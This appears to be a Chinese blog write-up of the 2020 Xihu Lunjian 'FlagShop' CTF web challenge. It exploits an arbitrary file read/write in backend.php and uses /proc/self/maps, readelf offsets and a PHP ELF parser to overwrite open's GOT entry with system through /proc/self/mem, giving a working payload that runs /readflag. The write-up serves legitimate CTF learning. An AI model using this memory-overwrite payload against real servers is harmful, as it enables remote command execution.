西湖论剑2020FlagShop复现

FlagShop

      F12查看源码,发现一段js代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
setInterval(function() {
    $.get("backend.php", {
        readfile: "data/FakeCTFer.txt"
    }, function(data, status) {
        $('#fake').html(data);
    });
    $.get("backend.php", {
        readfile: "data/RealCTFer.txt"
    }, function(data, status) {
        $('#real').html(data);
    });
}, 1000);
$('#real-sub').click(function() {
    $.get("backend.php", {
        writefile: "data/RealCTFer.txt",
        buffer: $('#real-text').val()+ "\n\n",
        offset: $('#real').html().length
    });
    $('#real-text').val("");
});
$('#fake-sub').click(function() {
    $.get("backend.php", {
        writefile: "data/FakeCTFer.txt",
        buffer: $('#fake-text').val() + "\n\n",
        offset: $('#fake').html().length
    });
    $('#fake-text').val("");
});

      大概就是GET传参readfilewritefile访问/backend.php路由读写文件,此处存在一个任意文件读取漏洞,通过readfile可以读取backend.php内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) {
    echo file_get_contents($_GET['readfile']);
}

      然后利用目录穿越读index.php文件内容:

1
2
3
4
5
6
7
8
9
<?php

if(!isset($_COOKIE['sandbox'])) {
  $uuid = system("/var/www/html/copy");
  setcookie("sandbox", $uuid);
  header("Location: sandbox/".$uuid);
} else {
  header("Location: sandbox/".$_COOKIE['sandbox']);
}

      审计backend.php代码,fseek函数存在利用点,fseek利用参考procfs_bypass.php脚本,看不懂就西湖论剑 Flagshop 分析复现

我老菜狗了,直接照着做一遍。。。

先了解一下fseek函数:

fseek() 函数在打开的文件中定位。
      该函数把文件指针从当前位置向前或向后移动到新的位置,新位置从文件头开始以字节数度量。

      该函数配合fwrite函数能实现在文件中指定位置插入自定义内容的功能。

既然想要修改地址,那就一定要先知道函数的地址,可以通过读取/proc/self/maps得到当前进程的动态链接库和内存地址。

由于system函数在libc库中,所以直接读取/lib/x86_64-linux-gnu/libc-2.19.so内容,通过wget命令下载。

接下来寻找函数地址:

1
readelf -s ./backend.php\?readfile=%2Flib%2Fx86_64-linux-gnu%2Flibc-2.19.so | egrep "\s(system|open)@@"

得到函数偏移地址:

1337: 0000000000046590 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1681: 00000000000ef160 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5

对于为什么0x7ffff5f40000是system函数的起始地址?我的理解是:这个内存拥有可执行权限r-xp,而其他三个并没有,因此这个内存地址是system函数的起始地址。

计算system函数地址:

1
2
3
4
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>

      知道system函数的地址之后就可以将open函数的地址替换为system函数的地址,这样在执行file_get_contents函数时命令实际执行的却是system函数,可以将readflag的结果输出到文件,或者反弹shell。

接下来就是计算open函数的地址,这里需要用到/proc/self/exe

      在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.
      在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.

将文件下载下来,使用下面的脚本计算open函数的偏移。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM 
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];

            }

            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>

函数地址都已经得到了,接下来就是修改open函数地址,变成system函数地址,这需要文件/proc/self/mem

      /proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

      也就是说,我们需要修改/proc/self/mem使open函数的地址变成system的地址。

payload:

1
readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784

然后读取/tmp/i_o_u_hlq文件获得flag。

吐槽一下,不会pwn的weber不是好ctfer。。。

参考

西湖论剑 Flagshop 分析复现